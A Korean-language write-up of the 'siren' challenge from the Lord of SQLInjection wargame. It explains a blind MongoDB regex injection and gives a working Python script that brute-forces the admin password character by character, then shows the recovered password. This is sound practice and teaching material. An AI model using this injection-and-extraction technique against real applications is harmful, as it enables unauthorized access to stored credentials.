> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/lord-of-sqlinjection/siren.md).

# siren

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-rLzeMMXMhVqVtkv84%2F-M-rMTG8ma844Ca7xves%2Fimage.png?alt=media\&token=11e4f904-1506-4c07-8087-09587fdfd6ba)

MongoDB 정규식을 활용한 브루트포싱을 시도한다.

파이썬 코드를 짜면 아래와 같다.

```python
import requests
import string

URL = 'https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php?id='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello User'


def query(payload):
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL + payload, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# 1588f5a3
def find_pw():
    pw = ''
    while True:
        found = False
        for character in string.printable:
            if character in "#$&*?|":
                continue
            elif query("admin&pw[$regex]=^{}{}".format(pw, character)) is True:
                pw += character
                found = True
                break
        if found is False:
            break
    print('pw: {}'.format(pw))


find_pw()
```

실행결과, pw는 `1588f5a3` 이다.

<https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php?pw=1588f5a3> 에 접속하면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-rXuLCllfiDrf17Ggy%2F-M-rXw9ifFKnS58CXP7N%2Fimage.png?alt=media\&token=d3a9ce8d-311b-4aff-8b71-763b6617a962)